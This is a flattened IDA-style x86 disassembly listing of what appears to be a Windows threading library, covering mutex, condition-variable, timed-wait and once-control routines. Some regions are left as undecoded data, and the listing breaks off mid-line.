sub_4303D0+Aj push 0 push 0 or eax, 0FFFFFFFFh push 1 push 0 mov dword ptr [esi+28h], 0 mov dword ptr [esi+20h], 0 mov dword ptr [esi+30h], 0 mov dword ptr [esi+34h], 1 mov [esi+2Ch], eax mov [esi+24h], eax nop call near ptr 2750834h test eax, eax mov [esi+38h], eax jnz short loc_430439 push esi call sub_401BBD add esp, 4 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_430439: ; CODE XREF: sub_4303D0+20j ; sub_4303D0+5Aj mov eax, esi pop esi retn sub_4303D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430460 proc near ; CODE XREF: sub_401307j push esi push offset dword_50E8E0 nop call near ptr 7C901005h mov esi, dword_44573C cmp esi, 1 jz short loc_430495 mov eax, [esi+8] push offset dword_50E8E0 mov dword_44573C, eax mov dword ptr [esi+8], 0 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_430495: ; CODE XREF: sub_430460+15j push offset dword_50E8E0 xor esi, esi call near ptr 7C9010EDh nop mov eax, esi pop esi retn sub_430460 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4304D0 proc near ; CODE XREF: sub_401BBDj arg_0 = dword ptr 4 push edi push offset dword_50E8E0 call near ptr 7C901005h nop mov edx, [esp+4+arg_0] mov ecx, 21h xor eax, eax mov edi, edx rep stosd mov eax, dword_44573C push offset dword_50E8E0 mov [edx+8], eax mov dword_44573C, edx nop call near ptr 7C9010EDh pop edi retn sub_4304D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430520 proc near ; CODE XREF: sub_401640j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0FFFFFFFFh push eax call sub_430540 sub_430520 endp ; --------------------------------------------------------------------------- add esp, 8 retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430540 proc near ; CODE XREF: sub_430520+7p ; sub_430660+Ap var_8 = dword ptr -8 arg_0 = dword ptr 4 sub esp, 8 mov eax, [esp+8+arg_0] push esi push edi mov edi, 1 mov [esp+10h+var_8], eax call sub_4012E4 sub_430540 endp ; --------------------------------------------------------------------------- mov esi, eax test esi, esi jz short loc_430576 mov eax, [esi+30h] test eax, eax jnz short loc_43057E mov eax, [esi+38h] test eax, eax mov [esp+0Ch], eax jz short loc_43057E mov edi, 2 jmp short loc_43057E ; --------------------------------------------------------------------------- loc_430576: ; CODE XREF: ___:0043055Bj mov dword ptr [esp+0Ch], 0 loc_43057E: ; CODE XREF: ___:00430562j ; ___:0043056Dj ... mov ecx, [esp+18h] lea edx, [esp+8] push ecx push 0 push edx push edi nop call near ptr 27506B1h mov ecx, eax sub ecx, 0 jz short loc_430609 dec ecx jz short loc_4305B4 sub eax, 102h pop edi neg eax sbb eax, eax pop esi and eax, 0FFFFD8CAh add eax, 274Ch add esp, 8 retn ; --------------------------------------------------------------------------- loc_4305B4: ; CODE XREF: ___:00430599j mov eax, [esp+0Ch] push eax nop call near ptr 277059Ch test esi, esi jz short loc_4305FE lea edi, [esi+2Ch] push edi call sub_402225 mov ecx, [esi+0Ch] mov eax, 3 add esp, 4 cmp ecx, eax jge short loc_4305F5 push edi mov [esi+0Ch], eax mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DD4 ; --------------------------------------------------------------------------- add esp, 8 loc_4305F5: ; CODE XREF: ___:004305D9j push edi call sub_4010C3 add esp, 4 loc_4305FE: ; CODE XREF: ___:004305C1j pop edi mov eax, 16h pop esi add esp, 8 retn ; --------------------------------------------------------------------------- loc_430609: ; CODE XREF: ___:00430596j pop edi xor eax, eax pop esi add esp, 8 retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430660 proc near ; CODE XREF: sub_401D70j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_430540 sub_430660 endp ; --------------------------------------------------------------------------- add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430690 proc near ; CODE XREF: sub_401C03j arg_0 = dword ptr 4 push esi push offset dword_50E940 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_4306C4 push esi push ecx call sub_402199 add esp, 8 mov esi, eax push offset dword_50E940 call near ptr 7C9010EDh nop mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_4306C4: ; CODE XREF: sub_430690+17j test eax, eax jnz short loc_4306CD mov esi, 16h loc_4306CD: ; CODE XREF: sub_430690+36j push offset dword_50E940 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_430690 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430700 proc near ; CODE XREF: sub_402199j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebp xor ebp, ebp push edi test eax, eax jnz short loc_430714 pop edi mov eax, 16h pop ebp retn ; --------------------------------------------------------------------------- loc_430714: ; CODE XREF: sub_430700+Aj mov edi, [esp+8+arg_4] test edi, edi jz short loc_43072F mov eax, [edi] test eax, eax jz short loc_43072F cmp dword ptr [eax], 1 jnz short loc_43072F pop edi mov eax, 28h pop ebp retn ; --------------------------------------------------------------------------- loc_43072F: ; CODE XREF: sub_430700+1Aj ; sub_430700+20j ... push esi push 2Ch push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_430754 mov edx, [esp+0Ch+arg_0] mov ebp, 0Ch mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_430754: ; CODE XREF: sub_430700+41j test edi, edi mov dword ptr [esi], 0FFFFFFFFh mov dword ptr [esi+4], 0 jz short loc_430770 mov edi, [edi] test edi, edi jz short loc_430770 mov edi, [edi+4] jmp short loc_430772 ; --------------------------------------------------------------------------- loc_430770: ; CODE XREF: sub_430700+63j ; sub_430700+69j xor edi, edi loc_430772: ; CODE XREF: sub_430700+6Ej push 0 lea eax, [esi+10h] push 0 push eax mov [esi+8], edi mov dword ptr [esi+0Ch], 0 call sub_401C76 add esp, 0Ch test eax, eax jz short loc_4307AD push esi mov ebp, 0Bh nop call near ptr 77C2C21Bh mov edx, [esp+10h+arg_0] add esp, 4 xor esi, esi mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_4307AD: ; CODE XREF: sub_430700+8Ej lea ecx, [esi+14h] push ecx nop call near ptr 27805CAh mov edx, [esp+0Ch+arg_0] mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn sub_430700 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430810 proc near ; CODE XREF: sub_40222Fj arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi test edi, edi jz loc_4308F0 mov eax, [edi] test eax, eax jz loc_4308F0 cmp eax, 0FFFFFFFFh jz loc_4308B5 mov [esp+8+arg_0], eax lea eax, [esp+8+arg_0] push eax call sub_40177B mov esi, eax add esp, 4 test esi, esi jnz loc_4308EB mov ecx, [esp+8+arg_0] mov eax, [ecx+4] cmp eax, 1 jnz short loc_4308A7 lea ecx, [esp+8+arg_0] mov [edi], esi push ecx call sub_4010C3 mov edx, [esp+0Ch+arg_0] mov esi, eax add esp, 4 test esi, esi jnz short loc_4308A0 add edx, 10h push edx call sub_401686 mov eax, [esp+0Ch+arg_0] add esp, 4 add eax, 14h push eax nop call near ptr 2780000h mov ecx, [esp+8+arg_0] push ecx nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308A0: ; CODE XREF: sub_430810+61j mov [edi], edx mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308A7: ; CODE XREF: sub_430810+48j dec eax mov esi, 10h mov [ecx+4], eax mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308B5: ; CODE XREF: sub_430810+1Dj push offset dword_50E940 nop call near ptr 7C901005h cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_4308DB push offset dword_50E940 mov dword ptr [edi], 0 call near ptr 7C9010EDh nop mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308DB: ; CODE XREF: sub_430810+B3j push offset dword_50E940 mov esi, 10h nop call near ptr 7C9010EDh loc_4308EB: ; CODE XREF: sub_430810+38j mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308F0: ; CODE XREF: sub_430810+Aj ; sub_430810+14j pop edi mov eax, 16h pop esi retn sub_430810 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430940 proc near ; CODE XREF: sub_401A0Fj arg_0 = dword ptr 4 push esi push 8 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 cmp eax, esi jnz short loc_430963 mov edx, [esp+4+arg_0] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_430963: ; CODE XREF: sub_430940+12j mov ecx, [esp+4+arg_0] mov [eax], esi mov [eax+4], esi mov [ecx], eax mov eax, esi pop esi retn sub_430940 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430990 proc near ; CODE XREF: sub_4010AAj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi xor esi, esi test ecx, ecx jz short loc_4309B1 mov eax, [ecx] test eax, eax jz short loc_4309B1 push eax mov [ecx], esi call near ptr 77C2C21Bh nop add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_4309B1: ; CODE XREF: sub_430990+9j ; sub_430990+Fj mov eax, 16h pop esi retn sub_430990 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4309D0: ; CODE XREF: ___:00401BA9j mov eax, [esp+4] test eax, eax jz short loc_4309ED mov eax, [eax] test eax, eax jz short loc_4309ED mov ecx, [esp+8] test ecx, ecx jz short loc_4309ED mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_4309ED: ; CODE XREF: ___:004309D6j ; ___:004309DCj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430A10: ; CODE XREF: ___:004018F7j mov eax, [esp+4] test eax, eax jz short loc_430A3A mov ecx, [eax] test ecx, ecx jz short loc_430A3A mov eax, [esp+8] cmp eax, 1 jz short loc_430A2E test eax, eax jnz short loc_430A3A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_430A2E: ; CODE XREF: ___:00430A25j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_430A3A: ; CODE XREF: ___:00430A16j ; ___:00430A1Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430A50 proc near ; CODE XREF: sub_40119Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] xor eax, eax test ecx, ecx jz short loc_430A71 mov ecx, [ecx] test ecx, ecx jz short loc_430A71 mov edx, [esp+arg_4] test edx, edx jl short loc_430A71 cmp edx, 2 jg short loc_430A71 mov [ecx+4], edx retn ; --------------------------------------------------------------------------- loc_430A71: ; CODE XREF: sub_430A50+8j ; sub_430A50+Ej ... mov eax, 16h retn sub_430A50 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430A90 proc near ; CODE XREF: sub_4018C0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] xor eax, eax test ecx, ecx jz short loc_430AAE mov ecx, [ecx] test ecx, ecx jz short loc_430AAE mov edx, [esp+arg_4] test edx, edx jz short loc_430AAE mov ecx, [ecx+4] mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_430AAE: ; CODE XREF: sub_430A90+8j ; sub_430A90+Ej ... mov eax, 16h retn sub_430A90 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430AD0 proc near ; CODE XREF: sub_402225j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi test esi, esi jz loc_430B87 mov eax, [esi] test eax, eax jz loc_430B87 cmp eax, 0FFFFFFFFh jnz short loc_430B01 push esi call sub_401C03 mov edi, eax add esp, 4 test edi, edi jz short loc_430B01 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430B01: ; CODE XREF: sub_430AD0+1Dj ; sub_430AD0+2Cj mov esi, [esi] push esi nop call near ptr 27605E0h test eax, eax jnz short loc_430B2A loc_430B0E: ; CODE XREF: sub_430AD0+A8j mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_430B22 call sub_4012E4 ; --------------------------------------------------------------------------- loc_430B22: ; CODE XREF: sub_430AD0+4Bj mov [esi+0Ch], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430B2A: ; CODE XREF: sub_430AD0+3Cj mov eax, [esi+8] test eax, eax jz short loc_430B6A call sub_4012E4 ; --------------------------------------------------------------------------- dw 8B50h dd 0E8500C46h, 0FFFD0F10h, 8508C483h, 562374C0h, 0FC41E890h dd 7E830233h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h dd 24BFh, 5FC78B00h ; --------------------------------------------------------------------------- pop esi retn ; --------------------------------------------------------------------------- loc_430B6A: ; CODE XREF: sub_430AD0+5Fj lea ecx, [esi+10h] push ecx call sub_430BC0 add esp, 4 test eax, eax jz short loc_430B0E nop call near ptr 77C1F2BCh mov edi, [eax] mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430B87: ; CODE XREF: sub_430AD0+Aj ; sub_430AD0+14j pop edi mov eax, 16h pop esi retn sub_430AD0 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430BC0 proc near ; CODE XREF: sub_430AD0+9Ep arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_430BDA mov eax, [eax] push 0FFFFFFFFh mov ecx, [eax] push ecx nop call near ptr 27703BFh test eax, eax jnz short loc_430BDA retn ; --------------------------------------------------------------------------- loc_430BDA: ; CODE XREF: sub_430BC0+6j ; sub_430BC0+17j nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_430BC0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430C00 proc near ; CODE XREF: sub_401BC2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebp push esi mov esi, [esp+8+arg_0] xor ebp, ebp test esi, esi jz loc_430D98 mov eax, [esi] test eax, eax jz loc_430D98 cmp eax, 0FFFFFFFFh jnz short loc_430C31 push esi call sub_401C03 mov ebp, eax add esp, 4 test ebp, ebp jz short loc_430C31 pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430C31: ; CODE XREF: sub_430C00+1Dj ; sub_430C00+2Cj mov esi, [esi] push ebx push edi push esi nop call near ptr 27605E0h test eax, eax jnz short loc_430C62 loc_430C40: ; CODE XREF: sub_430C00+175j mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz loc_430D8E call sub_4012E4 ; --------------------------------------------------------------------------- pop edi mov [esi+0Ch], eax pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430C62: ; CODE XREF: sub_430C00+3Ej mov eax, [esi+8] test eax, eax jz short loc_430CA6 call sub_4012E4 ; --------------------------------------------------------------------------- dw 8B50h dd 0E8500C46h, 0FFFD0DD8h, 8508C483h, 562774C0h, 0FB09E890h dd 7E830233h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h dd 24BDC35Dh, 5F000000h, 5EC58B5Bh ; --------------------------------------------------------------------------- pop ebp retn ; --------------------------------------------------------------------------- loc_430CA6: ; CODE XREF: sub_430C00+67j mov eax, [esp+10h+arg_4] test eax, eax jnz short loc_430CBA mov ebp, 16h pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430CBA: ; CODE XREF: sub_430C00+ACj lea edi, [esi+10h] push eax push edi call sub_430E10 add esp, 8 sub eax, 0 jz loc_430D7A dec eax jz short loc_430D44 dec eax jz short loc_430CE5 nop call near ptr 77C1F2BCh mov ebp, [eax] pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430CE5: ; CODE XREF: sub_430C00+D4j lea ebx, [esi+14h] push ebx call near ptr 7C901005h nop push edi mov ebp, 274Ch call sub_4010A5 add esp, 4 cmp eax, 0FFFFFFFFh push esi jnz short loc_430D17 nop call near ptr 277078Fh push ebx nop call near ptr 7C9010EDh pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430D17: ; CODE XREF: sub_430C00+101j nop call near ptr 277078Fh test eax, eax jl short loc_430D36 push edi call sub_40103C add esp, 4 test eax, eax jz short loc_430D36 call near ptr 77C1F2BCh nop mov ebp, [eax] loc_430D36: ; CODE XREF: sub_430C00+11Fj ; sub_430C00+12Cj push ebx nop call near ptr 7C9010EDh pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430D44: ; CODE XREF: sub_430C00+D1j lea ebx, [esi+14h] push ebx call near ptr 7C901005h nop push edi call sub_4010A5 mov edi, eax add esp, 4 cmp edi, 0FFFFFFFFh jnz short loc_430D6A push esi nop call near ptr 277078Fh mov ebp, 274Ch loc_430D6A: ; CODE XREF: sub_430C00+15Cj push ebx call near ptr 7C9010EDh nop test edi, edi jnz short loc_430D91 jmp loc_430C40 ; --------------------------------------------------------------------------- loc_430D7A: ; CODE XREF: sub_430C00+CAj mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_430D8E call sub_4012E4 ; --------------------------------------------------------------------------- loc_430D8E: ; CODE XREF: sub_430C00+4Dj ; sub_430C00+187j mov [esi+0Ch], eax loc_430D91: ; CODE XREF: sub_430C00+173j pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430D98: ; CODE XREF: sub_430C00+Aj ; sub_430C00+14j pop esi mov eax, 16h pop ebp retn sub_430C00 endp ; --------------------------------------------------------------------------- db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430E10 proc near ; CODE XREF: sub_430C00+BFp var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 0Ch push esi push edi mov edi, [esp+14h+arg_0] test edi, edi jz loc_430EAE mov esi, [esp+14h+arg_4] test esi, esi jnz short loc_430E42 or eax, 0FFFFFFFFh loc_430E2C: ; CODE XREF: sub_430E10+7Fj push eax mov eax, [edi] mov ecx, [eax] push ecx nop call near ptr 27703BFh test eax, eax jnz short loc_430E9C pop edi pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_430E42: ; CODE XREF: sub_430E10+17j lea eax, [esp+14h+var_C] push eax nop call near ptr 77C49113h mov ecx, [esi+4] mov eax, 431BDE83h add ecx, 7A120h add esp, 4 mul ecx mov eax, [esi] mov ecx, [esp+14h+var_C] shr edx, 12h lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] shl ecx, 3 lea eax, [edx+eax*8] mov edx, [esp+14h+var_8] sub eax, ecx and edx, 0FFFFh sub eax, edx jns short loc_430E2C pop edi mov eax, 2 pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_430E9C: ; CODE XREF: sub_430E10+2Aj cmp eax, 102h jnz short loc_430EAE pop edi mov eax, 1 pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_430EAE: ; CODE XREF: sub_430E10+Bj ; sub_430E10+91j call near ptr 77C1F2BCh nop mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi add esp, 0Ch retn sub_430E10 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430F00 proc near ; CODE XREF: sub_4010C3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx xor ebx, ebx push esi cmp eax, ebx jz loc_430FA0 mov esi, [eax] cmp esi, ebx jz loc_430FA0 cmp esi, 0FFFFFFFFh push edi jz short loc_430F95 mov eax, [esi+0Ch] mov edi, 1 cmp eax, edi jz short loc_430F4A call sub_4012E4 ; --------------------------------------------------------------------------- push eax mov eax, [esi+0Ch] push eax call sub_401A50 add esp, 8 test eax, eax jnz short loc_430F4A mov ebx, edi pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_430F4A: ; CODE XREF: sub_430F00+2Aj ; sub_430F00+40j cmp [esi+8], edi jnz short loc_430F58 mov eax, [esi+4] dec eax mov [esi+4], eax jnz short loc_430F9A loc_430F58: ; CODE XREF: sub_430F00+4Dj lea edi, [esi+14h] mov [esi+0Ch], ebx push edi call near ptr 7C901005h nop push esi nop call near ptr 277078Fh test eax, eax jl short loc_430F88 add esi, 10h push esi call sub_40103C add esp, 4 test eax, eax jz short loc_430F88 nop call near ptr 77C1F2BCh mov ebx, [eax] loc_430F88: ; CODE XREF: sub_430F00+6Ej ; sub_430F00+7Ej push edi call near ptr 7C9010EDh nop pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_430F95: ; CODE XREF: sub_430F00+1Ej mov ebx, 16h loc_430F9A: ; CODE XREF: sub_430F00+56j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_430FA0: ; CODE XREF: sub_430F00+Aj ; sub_430F00+14j pop esi mov eax, 16h pop ebx retn sub_430F00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430FE0 proc near ; CODE XREF: sub_40177Bj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi test esi, esi jz short loc_431065 mov eax, [esi] test eax, eax jz short loc_431065 cmp eax, 0FFFFFFFFh jnz short loc_431002 push esi call sub_401C03 add esp, 4 mov edi, eax loc_431002: ; CODE XREF: sub_430FE0+15j mov esi, [esi] test edi, edi jnz short loc_431060 push 0FFFFFFFFh push edi push esi call dword_50E3EC ; InterlockedCompareExchange cmp eax, 0FFFFFFFFh jnz short loc_431033 mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_43102B call sub_4012E4 ; --------------------------------------------------------------------------- loc_43102B: ; CODE XREF: sub_430FE0+44j mov [esi+0Ch], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431033: ; CODE XREF: sub_430FE0+35j cmp dword ptr [esi+8], 1 jnz short loc_43105B call sub_4012E4 ; --------------------------------------------------------------------------- push eax mov eax, [esi+0Ch] push eax call sub_401A50 add esp, 8 test eax, eax jz short loc_43105B mov eax, [esi+4] inc eax mov [esi+4], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_43105B: ; CODE XREF: sub_430FE0+57j ; sub_430FE0+6Dj mov edi, 10h loc_431060: ; CODE XREF: sub_430FE0+26j mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431065: ; CODE XREF: sub_430FE0+Aj ; sub_430FE0+10j pop edi mov eax, 16h pop esi retn sub_430FE0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4310A0: ; CODE XREF: ___:0040192Ej mov eax, [esp+8] mov ecx, [esp+4] push eax push ecx call sub_40119A add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4310D0: ; CODE XREF: ___:00401587j mov eax, [esp+8] mov ecx, [esp+4] push eax push ecx call sub_4018C0 add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431100: ; CODE XREF: ___:0040148Dj mov eax, [esp+4] test eax, eax jz short loc_43110C mov eax, [eax+4] retn ; --------------------------------------------------------------------------- loc_43110C: ; CODE XREF: ___:00431106j xor eax, eax retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431120: ; CODE XREF: ___:00401BFEj mov eax, [esp+4] push esi test eax, eax push edi jnz short loc_431132 pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_431132: ; CODE XREF: ___:00431128j mov esi, [eax] test esi, esi jnz short loc_431155 mov ecx, [eax+4] test ecx, ecx jnz short loc_431155 call sub_401CEE ; --------------------------------------------------------------------------- dd 0B5E89056h, 0E8023FEEh, 0FFFD0B9Eh, 5EC0335Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_431155: ; CODE XREF: ___:00431136j ; ___:0043113Dj mov ecx, [eax+4] mov eax, 431BDE83h add ecx, 0F423Fh imul ecx sar edx, 12h mov eax, edx shr eax, 1Fh add edx, eax lea eax, [esi+esi*4] lea eax, [eax+eax*4] lea ecx, [eax+eax*4] lea edi, [edx+ecx*8] call sub_4012E4 ; --------------------------------------------------------------------------- mov esi, eax test esi, esi jnz short loc_43118E pop edi mov eax, 0Ch pop esi retn ; --------------------------------------------------------------------------- loc_43118E: ; CODE XREF: ___:00431184j mov eax, [esi+30h] push edi test eax, eax jnz short loc_4311F6 mov edx, [esi+38h] push edx nop call near ptr 27703BFh test eax, eax jnz short loc_4311E7 lea edi, [esi+2Ch] push edi call sub_402225 mov eax, [esi+0Ch] add esp, 4 cmp eax, 3 jge short loc_4311D6 push edi mov dword ptr [esi+0Ch], 3 mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DD4 ; --------------------------------------------------------------------------- add esp, 8 loc_4311D6: ; CODE XREF: ___:004311B6j push edi call sub_4010C3 add esp, 4 mov eax, 3 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4311E7: ; CODE XREF: ___:004311A2j cmp eax, 102h jz short loc_4311FC pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_4311F6: ; CODE XREF: ___:00431194j nop call near ptr 2830000h loc_4311FC: ; CODE XREF: ___:004311ECj pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_431250: ; CODE XREF: ___:00401014j push ecx lea eax, [esp+0] push eax call sub_401C26 add esp, 4 test eax, eax mov eax, 1 jnz short loc_43126B mov eax, [esp+0] loc_43126B: ; CODE XREF: ___:00431265j pop ecx retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431280 proc near ; CODE XREF: sub_401708j push esi call sub_401320 push offset aKernel32_dll ; "KERNEL32.DLL" mov esi, eax call near ptr 27D0796h nop push offset aInterlockedcom ; "InterlockedCompareExchange" push eax mov dword_50E3D0, eax nop call near ptr 27E0000h test eax, eax mov dword_50E3EC, eax jnz short loc_4312CD mov eax, dword_50E3D0 mov dword_50E3EC, offset sub_4012D0 push eax call near ptr 2750317h nop mov dword_50E3D0, 0 loc_4312CD: ; CODE XREF: sub_431280+2Bj mov eax, esi pop esi retn sub_431280 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431300 proc near ; CODE XREF: sub_40161Dj mov eax, dword_50E3D4 test eax, eax jz short loc_431350 mov eax, dword_50E3D8 push eax call sub_401190 ; --------------------------------------------------------------------------- dd 8504C483h, 832074C0h, 75012078h, 86E8501Ah, 8BFFFD04h dd 50E3D80Dh, 4C48300h, 6A118Bh, 0ECC6E852h, 0E8900231h dd 0FFFD02FBh, 50E3D0A1h, 74C08500h, 0C8E85007h, 900231EFh ; --------------------------------------------------------------------------- loc_431350: ; CODE XREF: sub_431300+7j mov eax, 1 retn sub_431300 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431380 proc near ; CODE XREF: sub_4017B2j mov eax, 1 retn sub_431380 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4313A0 proc near ; CODE XREF: sub_4017C1j mov eax, dword_50E3D4 test eax, eax jz short loc_4313DB mov eax, dword_50E3D8 push eax call sub_401190 ; --------------------------------------------------------------------------- dd 8504C483h, 832074C0h, 75012078h, 0E6E8501Ah, 8BFFFD03h dd 50E3D80Dh, 4C48300h, 6A118Bh, 0EC26E852h ; --------------------------------------------------------------------------- xor [edx], eax nop loc_4313DB: ; CODE XREF: 